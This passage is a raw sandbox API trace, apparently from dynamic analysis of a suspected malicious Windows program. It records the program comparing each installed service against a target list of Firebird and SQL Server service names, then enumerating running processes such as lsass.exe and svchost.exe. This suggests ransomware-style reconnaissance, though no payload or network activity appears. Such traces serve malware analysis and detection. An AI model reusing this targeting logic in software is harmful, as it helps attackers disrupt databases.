	[0184.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0184.793] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0184.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0184.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0184.793] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0184.793] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0184.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0184.793] lstrlenW (lpString="CryptSvc") returned 8
	[0184.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0184.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0184.793] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0184.793] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0184.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0184.793] lstrlenW (lpString="DcomLaunch") returned 10
	[0184.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0184.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0184.793] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0184.793] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0184.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0184.793] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0184.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0184.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0184.793] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0184.794] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0184.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0184.794] lstrlenW (lpString="Dhcp") returned 4
	[0184.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0184.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0184.794] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0184.794] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0184.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0184.794] lstrlenW (lpString="Dnscache") returned 8
	[0184.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0184.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0184.794] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0184.794] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0184.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0184.794] lstrlenW (lpString="DPS") returned 3
	[0184.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0184.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0184.794] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0184.794] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0184.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0184.794] lstrlenW (lpString="DusmSvc") returned 7
	[0184.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0184.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0184.794] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0184.794] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0184.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0184.794] lstrlenW (lpString="EventLog") returned 8
	[0184.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0184.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0184.795] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0184.795] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0184.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0184.795] lstrlenW (lpString="EventSystem") returned 11
	[0184.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0184.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0184.795] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0184.795] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0184.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0184.795] lstrlenW (lpString="FontCache") returned 9
	[0184.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0184.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0184.795] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0184.795] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0184.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0184.795] lstrlenW (lpString="gpsvc") returned 5
	[0184.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0184.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0184.795] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0184.795] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0184.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0184.795] lstrlenW (lpString="iphlpsvc") returned 8
	[0184.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0184.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0184.795] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0184.795] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0184.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0184.795] lstrlenW (lpString="KeyIso") returned 6
	[0184.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0184.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0184.795] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0184.796] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0184.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0184.796] lstrlenW (lpString="LanmanServer") returned 12
	[0184.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0184.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0184.796] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0184.796] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0184.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0184.796] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0184.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0184.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0184.796] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0184.796] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0184.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0184.796] lstrlenW (lpString="lfsvc") returned 5
	[0184.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0184.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0184.796] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0184.796] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0184.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0184.797] lstrlenW (lpString="lmhosts") returned 7
	[0184.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0184.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0184.797] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0184.797] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0184.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0184.797] lstrlenW (lpString="LSM") returned 3
	[0184.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0184.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0184.797] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0184.797] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0184.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0184.797] lstrlenW (lpString="MpsSvc") returned 6
	[0184.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0184.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0184.797] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0184.797] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0184.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0184.797] lstrlenW (lpString="NcbService") returned 10
	[0184.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0184.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0184.797] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0184.797] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0184.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0184.797] lstrlenW (lpString="netprofm") returned 8
	[0184.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0184.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0184.797] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0184.797] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0184.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0184.798] lstrlenW (lpString="NgcSvc") returned 6
	[0184.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0184.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0184.798] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0184.798] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0184.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0184.798] lstrlenW (lpString="NlaSvc") returned 6
	[0184.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0184.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0184.798] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0184.798] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0184.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0184.798] lstrlenW (lpString="nsi") returned 3
	[0184.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0184.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0184.798] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0184.798] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0184.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0184.798] lstrlenW (lpString="PcaSvc") returned 6
	[0184.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0184.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0184.798] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0184.798] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0184.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0184.798] lstrlenW (lpString="PlugPlay") returned 8
	[0184.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0184.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0184.798] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0184.798] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0184.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0184.798] lstrlenW (lpString="Power") returned 5
	[0184.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0184.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0184.799] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0184.799] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0184.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0184.799] lstrlenW (lpString="ProfSvc") returned 7
	[0184.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0184.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0184.799] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0184.799] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0184.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0184.799] lstrlenW (lpString="RpcEptMapper") returned 12
	[0184.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0184.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0184.799] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0184.799] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0184.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0184.799] lstrlenW (lpString="RpcSs") returned 5
	[0184.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0184.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0184.799] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0184.799] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0184.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0184.799] lstrlenW (lpString="SamSs") returned 5
	[0184.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0184.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0184.799] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0184.799] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0184.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0184.799] lstrlenW (lpString="Schedule") returned 8
	[0184.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0184.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0184.800] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0184.800] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0184.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0184.800] lstrlenW (lpString="SecurityHealthService") returned 21
	[0184.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0184.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0184.800] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0184.800] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0184.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0184.800] lstrlenW (lpString="SENS") returned 4
	[0184.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0184.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0184.800] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0184.800] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0184.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0184.800] lstrlenW (lpString="ShellHWDetection") returned 16
	[0184.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0184.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0184.800] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0184.800] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0184.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0184.800] lstrlenW (lpString="Spooler") returned 7
	[0184.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0184.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0184.800] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0184.800] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0184.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0184.801] lstrlenW (lpString="StateRepository") returned 15
	[0184.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0184.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0184.801] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0184.801] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0184.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0184.801] lstrlenW (lpString="SysMain") returned 7
	[0184.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0184.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0184.801] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0184.801] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0184.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0184.801] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0184.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0184.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0184.801] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0184.801] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0184.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0184.801] lstrlenW (lpString="Themes") returned 6
	[0184.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0184.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0184.801] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0184.801] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0184.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0184.801] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0184.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0184.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0184.801] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0184.801] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0184.802] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x62e4c0 | out: hHeap=0x5d0000) returned 1
	[0184.802] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c
	[0184.807] Process32FirstW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0184.808] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0184.808] lstrlenW (lpString="System") returned 6
	[0184.808] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0184.809] lstrlenW (lpString="smss.exe") returned 8
	[0184.809] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0184.809] lstrlenW (lpString="csrss.exe") returned 9
	[0184.809] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0184.810] lstrlenW (lpString="wininit.exe") returned 11
	[0184.810] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0184.810] lstrlenW (lpString="csrss.exe") returned 9
	[0184.810] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0184.811] lstrlenW (lpString="winlogon.exe") returned 12
	[0184.811] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0184.812] lstrlenW (lpString="services.exe") returned 12
	[0184.812] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0184.924] lstrlenW (lpString="lsass.exe") returned 9
	[0184.924] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0185.177] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0185.177] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0185.177] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0185.177] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0185.178] lstrlenW (lpString="svchost.exe") returned 11
	[0185.178] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0185.178] lstrlenW (lpString="svchost.exe") returned 11
	[0185.178] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0185.179] lstrlenW (lpString="dwm.exe") returned 7
	[0185.179] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0185.179] lstrlenW (lpString="svchost.exe") returned 11
	[0185.179] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0185.179] lstrlenW (lpString="svchost.exe") returned 11
